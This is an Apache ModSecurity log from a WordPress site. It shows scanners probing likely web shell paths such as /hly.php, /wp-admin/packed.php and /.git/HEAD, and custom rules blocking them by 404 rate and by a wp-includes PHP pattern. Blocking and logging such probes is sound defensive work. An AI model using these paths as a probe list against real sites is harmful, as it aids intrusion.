[Mon Mar 30 03:07:42.556187 2026] [:error] [pid 32254:tid 32272] [client 20.163.104.123:17546] [client 20.163.104.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/install.php"] [unique_id "acl4fqug2IHuyGgCTn-BTgAAAAg"]
[Mon Mar 30 03:07:42.872732 2026] [:error] [pid 32255:tid 32297] [client 20.163.104.123:17553] [client 20.163.104.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/link.php"] [unique_id "acl4fmnfn-AtRoMbqux__AAAAEY"]
[Mon Mar 30 03:07:43.185447 2026] [:error] [pid 32257:tid 32335] [client 20.163.104.123:17623] [client 20.163.104.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/link.php"] [unique_id "acl4fyE3TArOFrUtgWoMnAAAAJE"]
[Mon Mar 30 03:07:45.987449 2026] [:error] [pid 32257:tid 32320] [client 20.163.104.123:17625] [client 20.163.104.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/languages/wp-login.php"] [unique_id "acl4gSE3TArOFrUtgWoMpwAAAII"]
[Mon Mar 30 03:07:46.310636 2026] [:error] [pid 32257:tid 32337] [client 20.163.104.123:17561] [client 20.163.104.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/languages/wp-login.php"] [unique_id "acl4giE3TArOFrUtgWoMqgAAAJM"]
[Mon Mar 30 03:07:48.834443 2026] [:error] [pid 32257:tid 32340] [client 20.163.104.123:17536] [client 20.163.104.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/languages/wp-login.php"] [unique_id "acl4hCE3TArOFrUtgWoMtQAAAJY"]
[Mon Mar 30 03:07:49.174942 2026] [:error] [pid 32257:tid 32329] [client 20.163.104.123:17617] [client 20.163.104.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/languages/wp-login.php"] [unique_id "acl4hSE3TArOFrUtgWoMuAAAAIs"]
[Mon Mar 30 03:07:49.550854 2026] [:error] [pid 23168:tid 23219] [client 20.163.104.123:17583] [client 20.163.104.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Assets/edit.php"] [unique_id "acl4hWP8p0yRL8ot_28LhQAAAhY"]
[Mon Mar 30 03:07:50.302906 2026] [:error] [pid 32255:tid 32306] [client 20.163.104.123:17542] [client 20.163.104.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Assets/edit.php"] [unique_id "acl4hmnfn-AtRoMbquyABAAAAE8"]
[Mon Mar 30 03:07:50.619548 2026] [:error] [pid 23167:tid 23178] [client 20.163.104.123:17663] [client 20.163.104.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Assets/edit.php"] [unique_id "acl4hhIAHJCFaHff3_cW5QAAAcg"]
[Mon Mar 30 03:07:50.972618 2026] [:error] [pid 32257:tid 32332] [client 20.163.104.123:17570] [client 20.163.104.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Assets/edit.php"] [unique_id "acl4hiE3TArOFrUtgWoMwgAAAI4"]
[Mon Mar 30 03:07:51.305593 2026] [:error] [pid 23284:tid 23307] [client 20.163.104.123:17619] [client 20.163.104.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/crystal/about.php"] [unique_id "acl4h4zBujdPHsq7wyRytQAAApU"]
[Mon Mar 30 03:07:51.621575 2026] [:error] [pid 23168:tid 23201] [client 20.163.104.123:11208] [client 20.163.104.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/pkivalidation/log.php"] [unique_id "acl4h2P8p0yRL8ot_28LiwAAAgQ"]
[Mon Mar 30 03:07:51.974712 2026] [:error] [pid 23284:tid 23301] [client 20.163.104.123:17627] [client 20.163.104.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/pkivalidation/log.php"] [unique_id "acl4h4zBujdPHsq7wyRyuwAAAo8"]
[Mon Mar 30 03:07:52.319575 2026] [:error] [pid 23250:tid 23256] [client 20.163.104.123:17662] [client 20.163.104.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/pkivalidation/log.php"] [unique_id "acl4iJxrpj-dQjy1cvpBKwAAAkQ"]
[Mon Mar 30 03:07:53.820911 2026] [:error] [pid 32257:tid 32330] [client 20.163.104.123:17578] [client 20.163.104.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/packed.php"] [unique_id "acl4iSE3TArOFrUtgWoMyQAAAIw"]
[Mon Mar 30 03:07:54.186042 2026] [:error] [pid 32255:tid 32301] [client 20.163.104.123:17606] [client 20.163.104.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/packed.php"] [unique_id "acl4imnfn-AtRoMbquyACQAAAEo"]
[Mon Mar 30 03:07:54.538853 2026] [:error] [pid 32257:tid 32324] [client 20.163.104.123:17539] [client 20.163.104.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/packed.php"] [unique_id "acl4iiE3TArOFrUtgWoMzAAAAIY"]
[Mon Mar 30 03:07:54.865962 2026] [:error] [pid 23167:tid 23190] [client 20.163.104.123:11230] [client 20.163.104.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/user.php"] [unique_id "acl4ihIAHJCFaHff3_cW6gAAAdQ"]
[Mon Mar 30 03:07:55.184171 2026] [:error] [pid 23168:tid 23221] [client 20.163.104.123:17575] [client 20.163.104.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/user.php"] [unique_id "acl4i2P8p0yRL8ot_28LlQAAAhg"]
[Mon Mar 30 03:07:55.526599 2026] [:error] [pid 32257:tid 32341] [client 20.163.104.123:17604] [client 20.163.104.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/user.php"] [unique_id "acl4iyE3TArOFrUtgWoM0AAAAJc"]
[Mon Mar 30 03:16:32.984576 2026] [:error] [pid 687:tid 729] [client 216.73.216.114:21315] [client 216.73.216.114] ModSecurity: Warning. Pattern match "^$" at REQUEST_HEADERS:user-agent. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "120"] [id "217240"] [rev "3"] [msg "COMODO WAF: Empty User Agent Header||gigfragments.org|F|5"] [data "REQUEST_HEADERS:user-agent="] [severity "NOTICE"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/robots.txt"] [unique_id "acl6kCBx2aiC8CUkuo3URwAAABU"]
[Mon Mar 30 03:35:35.117109 2026] [:error] [pid 4034:tid 4098] [client 195.178.110.199:42356] [client 195.178.110.199] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/HEAD"] [unique_id "acl_B7fAq8eF_uU4gu18GgAAAFE"]
[Mon Mar 30 03:46:11.240585 2026] [:error] [pid 55884:tid 55976] [client 51.120.74.80:4973] [client 51.120.74.80] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/about.php"] [unique_id "acmBgzjuYLVkve3VbhxcgQAAARc"]
[Mon Mar 30 03:46:21.561295 2026] [:error] [pid 4033:tid 4073] [client 51.120.74.80:29449] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/031.php"] [unique_id "acmBjanf-DXI9VblHi0V1QAAABQ"]
[Mon Mar 30 03:46:22.162998 2026] [:error] [pid 4139:tid 4167] [client 51.120.74.80:24045] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/031.php"] [unique_id "acmBjoYyhg47TZoaP9LuMAAAANQ"]
[Mon Mar 30 03:46:22.736349 2026] [:error] [pid 4040:tid 4110] [client 51.120.74.80:47516] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/031.php"] [unique_id "acmBjgxlbJV8kpOpFvY6DQAAAII"]
[Mon Mar 30 03:46:23.321894 2026] [:error] [pid 55884:tid 55965] [client 51.120.74.80:46577] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/031.php"] [unique_id "acmBjzjuYLVkve3VbhxctAAAAQw"]
[Mon Mar 30 03:46:23.884438 2026] [:error] [pid 55884:tid 55953] [client 51.120.74.80:24039] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "acmBjzjuYLVkve3VbhxctwAAAQA"]
[Mon Mar 30 03:46:24.522707 2026] [:error] [pid 4033:tid 4063] [client 51.120.74.80:34145] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "acmBkKnf-DXI9VblHi0V3AAAAAo"]
[Mon Mar 30 03:46:25.183189 2026] [:error] [pid 4033:tid 4067] [client 51.120.74.80:46575] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "acmBkanf-DXI9VblHi0V3gAAAA4"]
[Mon Mar 30 03:46:25.720187 2026] [:error] [pid 4033:tid 4053] [client 51.120.74.80:48915] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "acmBkanf-DXI9VblHi0V5wAAAAA"]
[Mon Mar 30 03:46:26.324335 2026] [:error] [pid 4034:tid 4102] [client 51.120.74.80:24022] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "acmBkrfAq8eF_uU4gu2BlgAAAFU"]
[Mon Mar 30 03:46:26.968117 2026] [:error] [pid 4040:tid 4109] [client 51.120.74.80:24021] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "acmBkgxlbJV8kpOpFvY6FQAAAIE"]
[Mon Mar 30 03:46:27.582768 2026] [:error] [pid 4139:tid 4152] [client 51.120.74.80:38241] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "acmBk4Yyhg47TZoaP9LuSAAAAMU"]
[Mon Mar 30 03:46:28.165006 2026] [:error] [pid 4033:tid 4065] [client 51.120.74.80:37435] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "acmBlKnf-DXI9VblHi0V8QAAAAw"]
[Mon Mar 30 03:46:28.864565 2026] [:error] [pid 4040:tid 4118] [client 51.120.74.80:37394] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "acmBlAxlbJV8kpOpFvY6IAAAAIo"]
[Mon Mar 30 03:46:29.484769 2026] [:error] [pid 4033:tid 4054] [client 51.120.74.80:4696] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "acmBlanf-DXI9VblHi0V9QAAAAE"]
[Mon Mar 30 03:46:30.109362 2026] [:error] [pid 55884:tid 55973] [client 51.120.74.80:40559] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "acmBljjuYLVkve3Vbhxc0wAAARQ"]
[Mon Mar 30 03:46:30.923513 2026] [:error] [pid 4033:tid 4074] [client 51.120.74.80:33589] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "acmBlqnf-DXI9VblHi0V-wAAABU"]
[Mon Mar 30 03:46:31.555038 2026] [:error] [pid 4033:tid 4053] [client 51.120.74.80:48925] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "acmBl6nf-DXI9VblHi0WBAAAAAA"]
[Mon Mar 30 03:46:32.275684 2026] [:error] [pid 55884:tid 55967] [client 51.120.74.80:4945] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "acmBmDjuYLVkve3Vbhxc2AAAAQ4"]
[Mon Mar 30 03:46:32.935744 2026] [:error] [pid 4040:tid 4121] [client 51.120.74.80:50516] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "acmBmAxlbJV8kpOpFvY6KQAAAI0"]
[Mon Mar 30 03:46:33.737074 2026] [:error] [pid 4033:tid 4064] [client 51.120.74.80:43707] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "acmBmanf-DXI9VblHi0WGgAAAAs"]
[Mon Mar 30 03:46:34.408450 2026] [:error] [pid 55884:tid 55977] [client 51.120.74.80:33591] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hly.php"] [unique_id "acmBmjjuYLVkve3Vbhxc3AAAARg"]
[Mon Mar 30 03:46:35.066348 2026] [:error] [pid 4033:tid 4060] [client 51.120.74.80:46533] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hly.php"] [unique_id "acmBm6nf-DXI9VblHi0WJwAAAAc"]
[Mon Mar 30 03:46:35.636592 2026] [:error] [pid 4034:tid 4088] [client 51.120.74.80:37424] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hly.php"] [unique_id "acmBm7fAq8eF_uU4gu2BpAAAAEc"]
[Mon Mar 30 03:46:36.275283 2026] [:error] [pid 4034:tid 4105] [client 51.120.74.80:40841] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hly.php"] [unique_id "acmBnLfAq8eF_uU4gu2BpwAAAFg"]
[Mon Mar 30 03:46:36.930480 2026] [:error] [pid 4033:tid 4060] [client 51.120.74.80:36797] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/about.php"] [unique_id "acmBnKnf-DXI9VblHi0WMQAAAAc"]
[Mon Mar 30 03:46:37.533309 2026] [:error] [pid 4033:tid 4069] [client 51.120.74.80:37426] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/about.php"] [unique_id "acmBnanf-DXI9VblHi0WOQAAABA"]
[Mon Mar 30 03:46:38.213527 2026] [:error] [pid 55884:tid 55959] [client 51.120.74.80:38281] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/about.php"] [unique_id "acmBnjjuYLVkve3Vbhxc7QAAAQY"]
[Mon Mar 30 03:46:38.768086 2026] [:error] [pid 4139:tid 4169] [client 51.120.74.80:4673] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/about.php"] [unique_id "acmBnoYyhg47TZoaP9LuYQAAANY"]
[Mon Mar 30 03:46:39.298931 2026] [:error] [pid 4139:tid 4159] [client 51.120.74.80:40861] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file7.php"] [unique_id "acmBn4Yyhg47TZoaP9LuZAAAAMw"]
[Mon Mar 30 03:46:39.861675 2026] [:error] [pid 4033:tid 4065] [client 51.120.74.80:4335] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file7.php"] [unique_id "acmBn6nf-DXI9VblHi0WSQAAAAw"]
[Mon Mar 30 03:46:40.630761 2026] [:error] [pid 4034:tid 4086] [client 51.120.74.80:21294] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file7.php"] [unique_id "acmBoLfAq8eF_uU4gu2BrQAAAEU"]
[Mon Mar 30 03:46:41.176557 2026] [:error] [pid 4034:tid 4087] [client 51.120.74.80:36799] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file7.php"] [unique_id "acmBobfAq8eF_uU4gu2BsAAAAEY"]
